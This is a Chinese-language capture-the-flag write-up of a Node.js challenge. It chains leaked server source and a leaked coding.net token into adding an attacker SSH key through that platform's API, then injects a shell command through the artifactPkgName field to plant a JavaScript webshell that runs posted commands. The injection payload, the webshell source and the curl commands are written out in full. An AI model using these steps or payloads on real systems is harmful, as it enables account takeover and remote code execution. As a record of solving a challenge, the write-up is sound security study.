1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 // Options reference: https://pm2.keymetrics.io/docs/usage/application-declaration/ const package = require('./package.json') module.exports = { apps: [{ name : package.name, script : 'app.js', args : 'one two', instances : 1, autorestart : true, watch : true, ignore_watch : ['node_modules', 'logs', '.git', 'statics'], error_file : 'logs/err.log', out_file : 'logs/out.log', log_file : 'logs/all.log', log_date_format : 'YYYY-MM-DD HH:mm:ss', max_memory_restart : '1G', env: { NODE_ENV : 'development', }, env_production: { NODE_ENV : 'production', } }], deploy: { production: { // host : CONFIG.remote.host, // user : CONFIG.remote.user, // path : CONFIG.remote.path, // repo : CONFIG.git.ssh, // ref : CONFIG.git.ref, 'post-deploy' : 'npm install && pm2 reload ecosystem.config.js --env production' } } };
很明显是存在 js 代码泄漏的
检查 middleware 通过 app.js 文件 可以翻找到 如下的库与中间件
1 2 3 4 const template = require('./middlewares/template') const route = require('./middlewares/route') const api = require('./middlewares/api') const listen = require('./middlewares/listen')
api listen route template 四个分别通过依赖注入的方式引入 这里直接去看 api 对于 api 分别尝试这三个文件
1 2 3 https://127.0.0.1/middlewares/api.js https://127.0.0.1/middlewares/api https://127.0.0.1/middlewares/api/index.js
可以发现 index.js 有返回 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 const fs = require('fs') const path = require('path') const router = require('koa-router')() const tools = require('../../utils') const Response = require('../response') // apiPath 为 当前目录的上上级 也就是 / 下 是可以访问的 const apiPath = path.join(__dirname, '../../api') // 这里是网站自己实现的 CGI // 动态的在 api 文件夹下所有的 js 文件注册进来 并且赋予对应的 path function registeApi (dir) { // 遍历目录下所有文件 fs.readdirSync(dir).forEach(fileName => { // 文件完整路径 const filePath = path.join(dir, fileName) // 若该文件为目录,则继续遍历该目录下所有文件 if (fs.statSync(filePath).isDirectory()) return registeApi(filePath) // 忽略入口文件 // if (filePath.endsWith('index.js')) return // 忽略非 js 文件 if (!filePath.endsWith('.js')) return console.info('非 JS 文件不要放在 api 目录下' + filePath) regist(filePath); }) } // 注册单个 api function regist(filePath) { // API // 通过 filePath 引入 const api = require(filePath) // API 名称 const apiName = getApiName(filePath) // 遍历请求方式 for (const type of Object.keys(api)) { // 响应操作 写入 router router[type](apiName, async (ctx) => { await api[type](getRequest(ctx), new Response(ctx)) }) // 打印接口信息 apiLog(type, apiName) } } // 去掉 .js function getApiName(filePath) { return filePath.cutEnd(3) .replace(apiPath, '') .replace(/\\/g, '/') } function getRequest(ctx) { return { params : { ...ctx.request.body, ...tools.getUrlParams(ctx.request.url) }, page : tools.getPagination(ctx), ctx, } } function apiLog (type, apiName, apiIntro = '') { console.info(`${apiIntro}\n[${type.toUpperCase()}]: ${apiName}\n****************************************`) } // require 时注册 APIPATH registeApi(apiPath) module.exports = (() => router.routes())()
整理逻辑 发现端倪 在 /api/XXX 下的 任何 /api/path/to/api.js 都会被注册成 /path/to/api 那么 查看 / 下的所有请求出去的 api 你可以直接 grep 拿到如下的数据
1 2 3 4 5 <script src="https://fastly.jsdelivr.net/npm/[email protected] /dist/axios.min.js"></script> axios.get('/v2/coding/projectList') axios.get('/v2/coding/versionList', { axios.get('/v2/coding/distList', { return (await axios.get('/v2/coding/distExist', {
一共 4 个 api 无论是哪个 api 你都可以进行跟踪 例如第二个 api /v2/coding/versionList 所在的位置根据上面 middleware/api 的推断 可以发现放在了如下的位置 喜欢写注释真是好程序员 (确信) /api/v2/coding/versionList.js 访问后我们可以得到如下的 js 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 const path = require('path') const coding = require('../../../request/coding') const distExtname = [ '.tgz', '.exe', '.dmg', '.AppImage', ] module.exports = { async get(request, response) { const ProjectId = Number(request.params.ProjectId) let data = [] // post to 一个后端 const storeList = (await coding.post('/open-api', { Action: 'DescribeProjectDepotInfoList', ProjectId, })).data.Response.DepotData.Depots for (const store of storeList) { const versionList = (await coding.post('/open-api', { Action: 'DescribeGitReleases', DepotId: Number(store.Id), Status: 1, PageNumber: 1, PageSize: 100, })).data.Response.ReleasePageList.Releases data = [...data, ...versionList] } data.sort((a, b) => a.TagName < b.TagName ? 1 : -1) response.setData(data) response.success() } }
我们可以发现他是另一个后端 api 的代理 而那个后端定义在 request/coding 中
获得 token 我们可以通过相对的路径得到 url 访问 http://127.0.0.1/request/coding.js 中获取
1 2 3 4 5 6 7 8 9 10 11 12 13 const axios = require('axios') // Access Token const codingToken = 'token e(This_Is_real_Token)c' const coding = axios.create({ baseURL: 'https://e.coding.net', headers: { Authorization: codingToken, }, }) module.exports = coding
网上搜索 e.coding.net 发现是一个 devops 平台 具有相当的利用价值 同时这里也暴露了 对应的 Token
接管用户账户 进一步使用搜索引擎可以发现对应的 openapi 文档 https://coding.net/help/openapi 如果发现了项目 https://github.com/Esonhugh/tencent-coding-openapi/ 这里提供了非常方便的利用工具 可以一键列出项目和仓库 并且可以增加 ssh keys 只需要导入一个 api token 即可。 发现是个人 api (token 开头) 列出项目
1 2 3 4 5 6 7 8 9 curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{ "Action": "DescribeCodingProjects", "PageNumber": 1, "PageSize": 10 }' # python usage python ./digging-shell.py list_projects ic| r.status_code: 200 ic| r.headers: Headers({'server': 'Nginx', 'date': 'Mon, 17 Apr 2023 11:04:54 GMT', 'content-type': 'application/json', 'transfer-encoding': 'chunked', 'connection': 'keep-alive', 'content-encoding': 'gzip', 'x-target-env': 'prod_with_canary'})
Response
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 { "Response": { "RequestId": "10bcd5a9-7d9a-4a80-a1ec-e833d4c89d77", "Data": { "PageNumber": 1, "PageSize": 10, "TotalCount": 1, "ProjectList": [ { "Id": 11680350, "CreatedAt": 1678157689000, "UpdatedAt": 1678157689000, "Status": 1, "Type": 2, "MaxMember": 0, "Name": "leak-token-leak-git", "DisplayName": "leak my git", "Description": "Wow! you got there! SuperCool man!", "Icon": "https://e.coding.net/static/project_icon/scenery-version-2-10.svg", "TeamOwnerId": 3921812, "UserOwnerId": 0, "StartDate": 0, "EndDate": 0, "TeamId": 3921812, "IsDemo": false, "Archived": false, "ProgramIds": [] } ] } } }
列出仓库
1 2 3 4 5 6 7 8 curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{ "Action": "DescribeProjectDepotInfoList", "ProjectId": 11414022 }' # python usage python ./digging-shell.py list_repos ic| r.status_code: 200 ic| r.headers: Headers({'server': 'Nginx', 'date': 'Mon, 17 Apr 2023 11:04:00 GMT', 'content-type': 'application/json', 'transfer-encoding': 'chunked', 'connection': 'keep-alive', 'content-encoding': 'gzip', 'x-target-env': 'prod_with_canary'})
Response
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "Response": { "RequestId": "1b4dee8f-afce-4495-8e8b-d776c8097397", "DepotData": { "Depots": [ { "Id": 10467875, "Name": "leak-source-code", "HttpsUrl": "https://e.coding.net/vuln-git/leak-token-leak-git/leak-source-code.git", "ProjectId": 11680350, "SshUrl": "[email protected] :vuln-git/leak-token-leak-git/leak-source-code.git", "WebUrl": "https://vuln-git.coding.net/p/leak-token-leak-git/d/leak-source-code", "VcsType": "git", "ProjectName": "leak-token-leak-git", "Description": "Got there!", "CreatedAt": 1678157728000, "LastPushAt": 0 } ], "Page": { "PageNumber": 1, "PageSize": 1, "TotalPage": 1, "TotalRow": 1 } } } }
发现要登陆 尝试获取 sshkey 创建 sshkey
1 2 3 4 5 6 7 8 curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{ "Action": "CreateSshKey", "Title": "Hacker", "Content": "ssh-rsa AAAA== rsatest", "ExpirationDate": "9999-12-31" }' # python usage python ./digging-shell.py add_ssh_key sshkey.rsa
成功后 git clone git@e.coding.net :XXXXX/XXXX/XXXX.git
项目源代码 进行审计。 把起来项目跑起来。 可以在 api 文件夹中找到一个 /v3/UpdateAllProduct.js 文件 这个文件也是可以使用的 api 在 html 主页中可以找到对应的文件泄漏。 存在命令注入的可能 注入非常的简单 projectName 之类的参数都可以注入 因为这些是直接拼接进去的。 正式的题目环境应该是禁止反向 shell 连接出来的 第一种办法是纯粹的无回显的布尔命令注入 但是这里滥用一下代码中的存在的 js CGI 魔法 我们可以尝试写入一个 webshell js 来进行 Getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 # use as curl curl "https://127.0.0.1/v3/UpdateAllProduct" \ -H 'x-coding-event: ping1' \ -X POST -k \ --data-raw "artifact.artifactRepoName=12&artifact.artifactPkgName=\";echo ${BASE64WEBSHELL}|base64 -d > /app/api/v2/badWebShell.js #\"&artifact.artifactVersionName=1.4&artifact.projectName=testing" # python usage python digging-shell.py upload_shell ./upload_shell.js https://nodejs-hack.cloud.eson.ninja # https://nodejs-hack.cloud.eson.ninja replace your url 不要加 / 我的服务是禁止nodejs 外连其他服务 所以会导致内部的js的命令拼接执行时候的 curl 失效,导致一次 500 ,否则会返回服务正常更新的 json # output like following ic| file_data: 'Y29uc3<base64ed file data>AAA=' Traceback (most recent call last): ..... httpx.ReadTimeout: The read operation timed out
其中 BASE64WEBSHELL 的值为 js webshell 的样本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 const fs = require('fs') const path = require('path') const { execSync } = require('child_process') module.exports = { // API POST async post(request, response) { // console.log(request.params) artifactPkgName = request.params.artifactPkgName // Save Path const localDir = __dirname // curl command const curlCMD = artifactPkgName // Create Path fs.mkdirSync(localDir, { recursive: true }) // download artificate ResponseData = execSync(curlCMD, { cwd: localDir }).toString() // Response response.success(ResponseData) } }
由于 pm2 会自动托管和加载 api 文件夹下的 js 文件 所以我们可以直接访问 webshell webshell 链接地址为 https://127.0.0.1/v2/badWebShell 请求方式为 POST POST Form 的内容为 ‘artifactPkgName={CMD}’ 参考 check-shell 函数
1 2 3 4 5 python ./digging-shell.py get_shell https://nodejs-hack.cloud.eson.ninja ls # replace ls as your command. and replace https://nodejs-hack.cloud.eson.ninja as your url and also no / behind. ic| command: 'ls' ic| resp.status_code: 200 badWebShell.js coding
其实给我一股子hackthebox的味道。。。不过JSwebshell还是可以学一下的,类似内存马吧。
ezphp 0解题,不放wp